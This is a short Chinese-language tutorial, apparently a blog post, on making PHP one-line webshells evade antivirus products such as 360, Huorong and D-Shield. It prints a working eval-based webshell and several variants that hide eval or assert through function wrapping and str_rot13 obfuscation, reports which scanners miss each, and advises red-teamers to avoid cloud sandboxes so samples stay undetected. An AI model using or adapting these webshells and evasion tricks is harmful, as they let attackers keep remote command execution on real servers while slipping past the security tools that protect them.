0x01 前言
文章写完了，绕过了360杀毒，绕过了火绒，绕过了电脑管家，总结了些简单的姿势，确是没骗过win10的防病毒，剩下的这部分是从Typora的历史记录里找的，，，已经没有想法再来一遍了，，，总的来讲下面的这些小步骤碰见防护比较l的站点估计问题不大，还有大家尝试免杀尤其是CS之类的免杀最好还是不要上传云沙箱了，，，，打红队的时候直接拿去尝试就ok了，
0x02 木马免杀
虚拟机Win10
一句话木马免杀
先测试一下简单的一句话木马"<?php @eval($_POST['hacker']); ?>",360杀毒没反应，第一次使用360杀毒，之前从来不怎么使用该杀毒软件，但是杀毒结果为安全比较意外。
但是当360杀毒开启文件实时系统保护的时候是可以查杀到木马文件，或者时在开启该项的情况下才可直接查杀病毒。
使用火绒查杀一下
D盾的话就不做尝试了，毕竟后两款我们大都是比较常用，可用性来讲都还是比较好的。
对于如此简单的一句话当然满足不了使用，毕竟在HV中这种最低级别的木马文件时肯定绕不过态势感知的。
首先如何绕过杀软呢？
调用方法执行shell
代码：
<?php
function bypass(){
return $_POST['hacker'];;
}
eval(bypass());
?>
也是仅有单引擎识别为木马文件。
使用函数调用的危险级别为三级，类型被定义为可疑文件。那么根据这种情况，根据D盾的提示，是因为识别到了文件内容的eval函数，那么尝试对eval函数做拼接，接着做尝试
<?php
highlight_file(__FILE__);
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>
正常能够执行phpinfo信息，测试没有问题，继续套用方法进行魔改
但是该变形需要再php版本<=7.0.9，这里我尝试使用php版本为7.2.x的时候是无法执行函数的，验证一波，D盾风险级别竟然为4级别，，，利用函数调用代码如下sss1.php
<?php
highlight_file(__FILE__);
$c=str_rot13('nffreg');
function bypass($a){
$a($_REQUEST['x']);
}
bypass($c);
?>
可以看到盾的检测结果
但是微步云沙箱依旧检测出为恶意文件，但是利用火绒杀毒检测为安全
小结
一般使用类以及函数调用去封装一句话
使用特殊函数去魔改敏感字符
远程木马
字符串拼接等
CS免杀
随后再补充，，，，，，，最后在跟师傅们强调一下，别没事上传云沙箱，沙箱，箱，，，，，，，，，，，，，，
